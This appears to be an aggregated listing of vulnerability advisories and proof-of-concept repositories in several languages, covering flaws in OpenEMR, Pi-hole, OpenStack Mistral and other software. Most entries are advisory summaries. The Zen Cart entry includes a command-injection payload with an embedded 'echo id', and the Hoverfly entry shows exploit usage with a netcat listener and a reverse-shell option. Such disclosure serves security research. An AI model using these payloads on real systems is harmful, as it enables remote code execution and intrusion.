CVE-2026-27470

⚠️ YASAL UYARI / LEGAL DISCLAIMER Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara...

CVE-2026-39842

CVE-2026-39842: OpenRemote 규칙 엔진의 표현식 주입을 통한 원격 코드 실행RCE TL;DR OpenRemote 규칙 엔진의 치명적인 원격 코드 실행 취약점으로, write:rules 역할을 가진 인증된 사용자가 서버에서 루트 권한으로 임의 코드를 실행할 수 있습니다. CVSS 점수 : 10.0 Critical CVSS 벡터 : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 영향받는 버전 : OpenRemote = 1.22.0 인증 필요 : 예 write:rules 역할,...

CVE-2026-35517

CVE-2026-35517 - Pi-hole FTLDNS 개행 문자 주입을 통한 원격 코드 실행 TL;DR Pi-hole의 FTLDNS 엔진버전 6.06.5에서 원격 코드 실행 취약점이 발견되었습니다. 인증된 공격자가 dns.upstreams API 파라미터에 개행 문자\n를 삽입하여 임의의 dnsmasq 구성 지시문을 주입할 수 있습니다. dnsmasq는 셸 명령을 실행하는 지시문을 지원하므로, 이 개행 문자 주입은 호스트 시스템에서의 전체 명령 실행 으로 직접 이어집니다. 이것은 단일 버그가 아니라 다섯 가지 서로 다른 구...

DEBIAN-CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-107303

JHipster is a development platform to quickly generate, develop, and deploy modern web applications and microservice architectures. Prior to generator-jhipster 9.4.0 and react-jhipster 1.1.0, generated applications can persist attacker-controlled Blob data and companion ContentType values, return...

CVE-2026-107334

Malcolm's nginx Lua role-based access control RBAC layer decides whether an authenticated user may reach a role-restricted path e.g. /htadmin, /auth, /adminlogin, /arkime/api/esadmin, NetBox, upload endpoints by pattern-matching the raw, percent-encoded request URI. Nginx itself, however, selects...

CVE-2026-30695

CVE-2026-30695 - Zucchetti Axess의 XSS 취약점 요약 Zucchetti Axess 출입통제 장치XA4, X3/X3BIO, X4, X7, XIO, i-door, i-door+의 웹 기반 설정 인터페이스에 XSS교차 사이트 스크립팅 취약점이 존재합니다. 이 취약점은 /filemanager.cgi 엔드포인트의 dirBrowse 매개변수에서 사용자 입력값에 대한 부적절한 삭제샌니타이제이션로 인해 발생합니다. 인증된 공격자는 관리 사용자의 컨텍스트에서 실행되는 임의의 JavaScript 코드를 주입할 수...

CVE-2026-1457

CVE-2026-1457: TP-Link VIGI C385 인증된 원격 코드 실행 개요 CVE-2026-1457은 TP-Link VIGI C385 V1의 웹 API에서 발생하는 인증된 버퍼 오버플로우 취약점입니다. 이 취약점으로 인해 인증된 공격자가 원격 코드 실행RCE을 수행할 수 있습니다. CVSS v4.0 점수: 8.5 높음 CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 영향을 받는 제품 제품 모델| 영향을 받는 버전 ---|--- VIGI C385 V1...

zencart_auth_rce_poc

zencartauthrcepoc CVE-2021-3291 1- 관리자로 로그인 2- 모듈 편집 페이지를 엽니다 3- 아무 true 라디오박스에서 요소 검사를 합니다 4- true를 다음으로 변경: true','MODULEORDERTOTALTOTALSTATUS'; echo id; // 5- 업데이트 클릭 6- 명령을 트리거하려면 다시 편집 페이지로 이동하세요. CVE-2021-3291 https://vulners.com/cve/CVE-2021-3291 POC 익스플로잇 페이지 새로고침 확대 Metasploit GIF...

CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-25746 - OpenEMR 약점 CWE-89 SQL 명령에 사용되는 특수 요소의 부적절한 중성화'SQL 인젝션' 제품은 업스트림 구성 요소의 외부 영향 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 전송될 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중성화하지 않거나 잘못 중성화합니다. 사용자 제어 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터 대신 SQL로 해석될 수 있습니다. MITRE에서...

CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-29187 - 새 검색 팝업의 SQL 인젝션 취약점 약점 CWE-89 SQL 명령에 사용되는 특수 요소의 부적절한 중화 'SQL 인젝션' 제품은 상위 구성 요소로부터 외부의 영향을 받는 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 보낼 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중화하지 않거나 잘못 중화합니다. 사용자가 제어할 수 있는 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터 대신 SQL...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE 원격 코드 실행 사용법 명령 실행: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami 리버스 셸: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 면책 조항 이 스크립트는 교육 목적으로만 제공됩니다. 허가 없이 시스템에서 이 익스플로잇을 무단 사용하는 것은...

msf-cve-2024-46987

MSF-CVE-2024-46987 Metasploit 모듈로 CVE-2024-46987을 익스플로잇합니다. 이는 Camaleon CMS 버전 2.8.0 이하 및 2.9.0에서 인증된 경로 탐색 취약점입니다. Goultarde의 이 POC를 기반으로 합니다...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye 認証済みRCE motionEye = 0.43.1b4 における、サニタイズされていない motion 設定パラメータを介した認証済みリモートコード実行 著者: d3vn0mi 脆弱性概要 項目| 詳細 ---|--- CVE ID| CVE-2025-60787 CVSS スコア| 7.2 High タイプ| OS コマンドインジェクション CWE-78 影響を受けるバージョン| motionEye = 0.43.1b4 修正バージョン| 0.43.1b5 motionEye は imagefilename...

CVE-2026-97147

In OpenStack Mistral through 23.0.0, several of the v2 API write paths resolve the target object with a query that can return another project's resource, then write to it. An authenticated project member can use this to rewrite and un-publish another project's public action definitions and...

CVE-2026-97147

The OpenStack Mistral service (through version 23.0.0 ) contains an incorrect authorization vulnerability in several v2 API write paths . The root cause is that these paths resolve target objects using a query that can return resources belonging to different projects, subsequently allowing unauth...

EUVD-2026-95132

In OpenStack Mistral through 23.0.0, several of the v2 API write paths resolve the target object with a query that can return another project's resource, then write to it. An authenticated project member can use this to rewrite and un-publish another project's public action definitions and...

CVE-2026-25964

CVE-2026-25964 PoC - Tandoor Recipes 인증된 LFI 레시피 가져오기를 통한 인증된 로컬 파일 노출 PoC 공개: 원래 GHSA-6485-jr28-52xx를 통해 저에 의해 보고됨 ⚠️ 승인된 침투 테스트/연구 목적으로만 사용하세요. 취약점 정보 필드| 값 ---|--- CVE ID| CVE-2026-25964 심각도| 🟡 중간 CVSS 점수| 4.9 CVSS 벡터| CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N CWE| CWE-22: 경로 탐색, CWE-73: 파일...

CVE-2026-107335 Improper Handling of Highly Compressed Data in Malcolm

Malcolm's upload-processing pipeline scripts/safe-extract.py enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives zip/tar/rar/7z via libarchive, but those limits are not applied when the uploaded file is a single-stream compressed format .gz,...